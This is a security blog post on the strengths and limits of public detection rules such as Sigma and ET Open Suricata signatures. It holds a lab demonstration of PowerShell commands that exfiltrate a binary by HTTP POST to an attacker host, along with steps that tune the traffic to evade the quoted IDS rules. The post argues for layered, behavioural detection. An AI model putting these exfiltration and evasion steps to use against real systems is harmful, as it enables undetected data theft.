Public Detection Rules: A Powerful Asset with Hidden Risks

2026-10-07 Mickaël Dorigny 0 Comments

Tens of thousands of detection rules, written by researchers around the world, ready to deploy and free of charge: that is what public rule repositories offer, and it is a godsend for any defensive team.

But these rules have one special trait: they are public. They spell out, in black and white, what they are looking for and therefore, by extension, how to evade them. In this article, we will first look at everything these rules bring to the blue team, then we will switch sides to understand, with a concrete example, why they can never be a defense on their own.

What are detection rules?

A detection rule is a rule written according to a predefined format, designed to define the patterns (characteristic patterns) that trigger a security alert within an event. That event can be a local Windows or Linux event, an application event (a web application), or even a network event. In fact, your routers, reverse proxies, network or application firewalls also generate logs, some of which relate to security events.

For example, in the hypothetical event Event type 37 - L'utilisateur John a créé le fichier ransomware-2026.exe sur son poste à 3h du matin, we can imagine a detection rule targeting system event logs and focusing on the name of the created file (contains ransomware and .exe). And another one based on the creation of event type 37 at 3 a.m. We can also imagine that the local EDR or antivirus scans the contents of the executable and finds the characteristic phrase bitcoin address (ransom demand in cryptocurrency), which could also trigger an alert.

The idea is to review all events, in real time (or close to it), and look in them for patterns, sorts of characteristic signatures of a security issue, in order to decide whether or not there is reason to raise the alarm. This makes it possible to apply a single rule across all logs (hundreds of thousands per day at enterprise scale) and surface only what is considered important, automatically.

Before that, of course, you need to identify which systems matter, configure logging policies so that important events are logged, send them to a log centralization platform, then to a SIEM and security tools, and finally have all of it analyzed by a SOC. In short, I’ll point you to our dedicated article on the subject:

IT-Connect - Log centralization: a key asset for securing an information system

These detection rules can take several formats, depending largely on their purpose, the technical platform on which they will be deployed, or even each person's tooling preferences. For example, you will find:

SIGMA rules: using YAML, they aim to define the patterns to monitor in system and application logs. Very useful in many SIEMs, often after conversion into queries specific to tools such as Splunk, ELK, etc. That is precisely their strength: a generic format you write once and convert to the native language of each SIEM.
YARA rules: historically oriented toward identifying and classifying malware through content analysis, they are mainly used for file analysis, but also for scanning memory, streams, or various artifacts.
Snort rules: rules specific to the Snort packet analysis tool, used for detection at the network pattern level.
Suricata rules: similar to Snort rules, but specific to the Suricata IDS (Intrusion Detection System). Note that Snort and Suricata share a largely common syntax, without being fully interchangeable.
Etc.: there are many formats serving different purposes, some proprietary and tied to a specific technology, others more generic.

As an example, here is the characteristic format of a Sigma rule, targeting Windows event logs here:

title: PowerShell Console History Logs Deleted
id: ff301988-c231-4bd0-834c-ac9d73b86586
status: test
description: Detects the deletion of the PowerShell console History logs which may indicate an attempt to destroy forensic evidence
references:
    - Internal Research

author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-02-15
tags:
    - attack.stealth
    - attack.t1070
logsource:
    category: file_delete
    product: windows
detection:
    selection:
        TargetFilename|endswith: '\PSReadLine\ConsoleHost_history.txt'
    condition: selection
falsepositives:
    - Unknown
level: medium

The key part is the detection block: if an event reports that the user deleted a file whose path ends with \PSReadLine\ConsoleHost_history.txt, an alert at medium level is raised. For context: this may reveal the activity of an attacker trying to erase traces.

So we place this rule in the platform that centralizes the logs from all our Windows systems, and we wait for it to trigger... hoping it never does!

Pooling detection: a collective strength

Where to find them: plenty of options

For the most well-known and widely used formats, these detection rules are massively shared by software vendors and the cybersecurity community around the world. Here are a few examples:

SigmaHQ: the reference repository for Sigma rules, containing several thousand detection rules, regularly updated through many contributions, and used as the default base in many tools (SIEM, EDR, detection platforms).
Elastic Detection Rules: Elastic's official detection rules, written for Elastic Security. A good example of public rules maintained by a vendor, aligned with MITRE ATT&CK, and covering endpoint, cloud, and network.
Emerging Threats Open (ET Open): the reference open ruleset for Snort and Suricata, maintained by Proofpoint. Tens of thousands of network rules, free, categorized (malware, scan, policy, hunting...). This is the most commonly loaded base on a network IDS, and the one we will use in the examples in this article.
Github - YARA Rules and the repositories of individual researchers (such as those of Florian Roth): large collections of YARA rules for identifying malware and artifacts, widely used in file analysis and threat hunting.
LOLBAS / GTFOBins: not detection rules in the strict sense, but community databases of legitimate binary abuse techniques (Windows / Unix), valuable for writing or contextualizing rules, and often referenced by Sigma rules.

In short, between official reference repositories and small GitHub pages from researchers, companies, or students, there is no shortage of detection rules.

Why share them?

The benefit is fairly easy to understand, and it illustrates very well what cybersecurity has been since its beginnings. Rather than everyone creating their own rules based on what they see on their own network (which is, by definition, very limited), we pool our detection rules so everyone benefits from everyone else's experience. A cyberattack carried out in one part of the world can then, after investigation, lead to the creation of new rules that everyone can use to stop the same actor or the same tool from operating on their own systems.

Think of it as if one country had found a way to detect people infected with COVID-19 very early, and shared the recipe with all the other countries to greatly limit its spread (sorry for the bad memory).

It also helps unify a certain format, and therefore facilitate information and technique sharing, as well as the creation of tools leveraging a common base. It also allows everyone to learn and train on elements actually used in the field. In short, the benefits are numerous, starting with the improvement of overall defense.

If you are interested in cybersecurity, offensive or defensive, I strongly encourage you to look into these different rules and their respective formats. They provide a very concrete idea of what a cyberattack looks like, what detection capabilities are available, and so on.

But this pooling has a downside, which we will now explore by switching sides.

Switching sides: reading the rules like an attacker

Let’s now adopt the attacker’s point of view. Their goal: infiltrate and compromise information systems without being detected. They must be able to deploy their ransomware while staying completely hidden, because any detection will block their activity, or even lead to identification and arrest.

To break into a system remotely, then find and exploit the vulnerabilities that will give them privileged access to the domain, which is necessary for large-scale deployment of their ransomware, they will need to carry out many discovery and exploitation attempts. All of these actions increase the chances of being detected.

In this context, having access to thousands of detection rules used by the widest audience is a very interesting source of intelligence. The attacker does not know exactly which rules are deployed on the other side, nor their version, nor whether they are enabled or used for logging only. But they know that a common foundation is very likely present, at least in part. They can therefore reason based on a "lowest common denominator" of detection, and that is often enough.

Above all, a public rule documents its own triggering condition exactly. The attacker does not have to guess: they read the signature and see precisely which byte, which pattern, or which behavior triggers the alert. They therefore know exactly what to avoid. This is a constant advantage, not an occasional flaw: the detection itself explains how to bypass it. You can think of it as seeing your opponent's board in Battleship (if that game still exists).

Zooming out, we find an old debate here: security through obscurity. I won't settle it, but the idea opposes two visions. On one side, hiding your detection mechanisms from the attacker so they know nothing about them; on the other, disclosing them to benefit from everyone's feedback and experience, and thus have more robust tools. The modern consensus leans toward nuance: detection that only works because the attacker does not know the rule is fragile, while robust detection still holds even if the attacker knows it (the Kerckhoffs principle, applied to detection). We will see in the conclusion that some signals, such as behavior, remain difficult to evade even with full knowledge of the rule.

Demonstration: three alerts, then none

We will now illustrate the attacker’s approach through a specific operation in their cyberattack. The idea is to show, with a very simple case (and barely realistic), how an attacker consulting public detection rules can become more discreet.

Context: the attacker has managed to compromise a Windows system. They can run PowerShell commands and want to exfiltrate the contents of an internal binary containing their target's famous industrial secrets.

For the practical part, I built a very basic lab made up of the following elements:

So here we have the attacker’s system, located "outside" (the Internet), a target Windows system located in the company network, and in the middle, a firewall/router forwarding packets between the two. This allows our Suricata IDS to monitor the network packets and apply detection rules to them, in this specific case, rules focused on network traffic.

On my Suricata, ET Open rules are enabled (free, open license). It is a Suricata ruleset maintained by Proofpoint to detect malware, C2, exploits, etc.

You can find these rules here: rules.evebox.org/?source=et%2Fopen

I therefore have several tens of thousands of rules scanning each of my network packets.

In a realistic context, cyberattackers have this type of platform available to them (sometimes more advanced, admittedly). They want to see how their activity will be detected, and they use the same tools and rules as the blue team. And, by the way, the blue team does the same by analyzing attackers' tools and TTPs: the famous cat-and-mouse game.

Here are the commands I run on the Windows system:

$content = Get-Content C:\Windows\System32\notepad.exe
Invoke-WebRequest -Uri http://192.168.56.50 -Method POST -Body $content

Pretty simple: I read the contents of an executable, store them in a variable, and send everything in the body of an HTTP POST request to the attacker’s system. On their side, they will have set up a web service listening to store and retrieve that content:

# python3 http_post_server.py
192.168.57.20 - - [15/Aug/2026 22:23:18] "POST / HTTP/1.1" 200 -

I then use the following filtering command, on the system hosting Suricata, to retrieve any alerts generated:

vagrant@sensor:~$ tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert" and (.alert.signature | test("^SURICATA STREAM") | not)) | [.timestamp, .alert.signature]'

[
  "2026-08-15T20:26:21.641353+0000",
  "ET INFO Windows Powershell User-Agent Usage"
]
[
  "2026-08-15T20:26:21.643914+0000",
  "ET INFO Generic HTTP EXE Upload Outbound"
]
[
  "2026-08-15T20:26:21.647644+0000",
  "ET INFO Python BaseHTTP ServerBanner"
]

Ouch, 3 alerts for a single command! Let's take a closer look: because these rules are public, we can see the exact conditions that trigger them.

Rule No. 1, ET INFO Windows Powershell User-Agent Usage, corresponding to rule No. 2033355:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET INFO Windows Powershell User-Agent Usage"; flow:established,to_server; http.user_agent; content:"Mozilla/"; startswith; content:") WindowsPowerShell/"; distance:0; fast_pattern; classtype:not-suspicious; sid:2033355; rev:1; metadata:attack_target Client_Endpoint, created_at 2021_07_16, deployment Perimeter, confidence High, signature_severity Informational, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2021_07_16;)

This rule tries to detect the use of PowerShell to make web requests. To do so, it checks whether the User-Agent starts with Mozilla/ and then contains ) WindowsPowerShell/. Since I used PowerShell to send my HTTP request, it signed it with a User-Agent specific to it:

Requête HTTP dans Wireshark.

We can agree that it is fairly rare for a workstation to send an HTTP request from PowerShell; usually, a user would rather go through Firefox, Chrome, or another browser.

Rule No. 2, ET INFO Generic HTTP EXE Upload Outbound, corresponding to rule No. 2016775:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET INFO Generic HTTP EXE Upload Outbound"; flow:established,to_server; http.method; content:"POST"; nocase; http.request_body; content:"MZ"; content:"|00 00 00 00|"; distance:0; content:"PE|00 00|"; fast_pattern; distance:0; classtype:misc-activity; sid:2016775; rev:3; metadata:created_at 2013_04_19, confidence Medium, signature_severity Informational, updated_at 2020_04_23;)

This rule inspects the body of HTTP POST requests to detect the famous MZ magic bytes of a Windows binary, followed by two characteristic hex patterns from the PE header. You can see in the screenshot above that the body of my HTTP request matches this case. It is indeed quite rare to see a user or browser send a raw binary in a request.

Rule No. 3, ET INFO Python BaseHTTP ServerBanner, corresponding to rule No. 2034635:

alert http any any -> $HOME_NET any (msg:"ET INFO Python BaseHTTP ServerBanner"; flow:established,to_client; http.server; content:"BaseHTTP/"; fast_pattern; startswith; content:"Python/"; distance:0; reference:url,wiki.python.org/moin/BaseHttpServer; classtype:misc-activity; sid:2034635; rev:4; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, created_at 2021_12_08, deployment Perimeter, confidence High, signature_severity Informational, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2026_04_14;)

This rule tries to detect, in an HTTP response, strings starting with BaseHTTP/ followed by Python/. Indeed, on the attacker side, I used a lightweight Python web server, which advertises its presence a little too obviously:

Again, this is unlikely to be legitimate activity. Notice the order in which the alerts appear and how it matches what the rules are looking for: first a detection in the request header, then in its body, then in the response header. Everything is simple and logical.

Well. As an attacker, my operation is off to a bad start! But fortunately, I am in my own lab, and it was not carried out on the real compromised system. Let’s see whether I can use the information revealed by these rules to make my attack more discreet.

It is time to use this information to make the operation stealthier. We can start by using PowerShell's -UserAgent "<string>" option to change the User-Agent:

Invoke-WebRequest -Uri http://192.168.56.50:8000 -UseBasicParsing -Method POST -Body $content -UserAgent "Je suis Google Chrome !"

Next, we can modify the behavior of the Python web server, with a single instruction, so that it presents itself as an Apache server for example (so it no longer exposes the BaseHTTP/Python banner):

class handler(BaseHTTPRequestHandler):
        server_version = "MonServeur/1.0"
        sys_version = ""  # vide pour masquer la version Python

Finally, if the detection of the string MZ is the problem, I just need to transform it before sending, then perform the reverse operation on the server side once the data is received, for example via a simple encoding applied to the binary before exfiltration.

$content = Get-Content C:\Windows\System32\notepad.exe
$content = $content.Replace('MZ','DZ')
Invoke-WebRequest -Uri http://192.168.56.50:8000 -UseBasicParsing -Method POST -Body $content -UserAgent "Je suis Google Chrome !"

I try again with these three modifications: No detection at all! Here is an overview of the modified elements in my exchanges (Wireshark):

Yet the operation is strictly the same: I exfiltrated an executable via PowerShell. It was just slightly "tuned" using the detection rules I was able to review.

Of course, none of this would have happened if I had used HTTPS (although even then... other traces may remain depending on the certificate, the IP or domain used, the ciphers, and so on). The goal of this demonstration is mainly to show you the approach, while keeping in mind that it is reproducible for more realistic cases.

Conclusion: a foundation, not a shield

What can we conclude from all this? Are public detection rules a good or a bad thing?

Before throwing them in the trash on the grounds that they give attackers too much information, let’s remember that they are primarily designed to be a working base, not a finished solution. They make it possible to quickly and easily deploy several thousand opportunities to detect malicious activity. It is then up to each blue team to refine, improve, and adapt these rules, and add others based on its needs, its context, and the threats it faces. This is exactly the role of CTI (Cyber Threat Intelligence, or cyber threat intelligence) teams, which provide IoC (Indicators of Compromise) much closer to the context of a given blue team.

Then, it is relatively easy to hide your activity for a single operation, as we did here. But a cyberattack is generally made up of dozens, even hundreds of operations. Hiding all of them this way becomes a real challenge, especially since the attacker does not know in advance which rule bases the target uses, nor which in-house rules may be added on top. Consulting public rules does help reduce the chances of being detected, but each workaround comes at a cost, and above all, it often just shifts the problem rather than eliminating it.

This is the most important point, and it emerges from our demonstration. When the attacker changes their User-Agent, they choose another one, which may itself become a signal if it is inconsistent with the rest of the traffic. When they hide the magic bytes MZ, they create a stream whose content no longer looks like anything known, which is an anomaly in itself. The same applies to HTTPS, which hides the content but may leave other traces (JA3/S fingerprints).

Bypassing a content signature almost always generates another one somewhere else. The cat-and-mouse game never stops: each time a rule is bypassed, the defender can write a new, finer one based on the new behavior observed.

And that is where the structural limit of signature-based detection appears. A signature describes a specific artifact (a string, a byte, a banner); often, changing that artifact is enough to disappear. The most robust signals are those that do not rely on a modifiable detail, but on behavior that the attacker cannot avoid without giving up their goal. A command-and-control implant, for example, must communicate regularly with its server: the traffic can be encrypted, its encoding can be changed, its headers can be forged, but the regularity of those communications (the beaconing) remains an invariant that is hard to conceal. This is exactly the kind of behavioral detection explored by tools like Zeek or RITA, which modern NSM (Network Security Monitoring) turns to when signature-based detection reaches its limits.

To conclude, public detection rules should neither be idealized nor rejected. They are an essential foundation: fast to deploy, shared, educational, and effective against the least polished attacks (which remain the most numerous). But they should never be used alone. Their transparency, which benefits the attacker, is also what allows a whole community to improve them continuously. The real defensive skill is not merely to possess these rules, but to understand their assumptions and blind spots, and to complement them with what the adversary cannot so easily bypass.

What do you think about public detection rules? Do you use them, customize them, or have you only just discovered them? Let us know in the comments.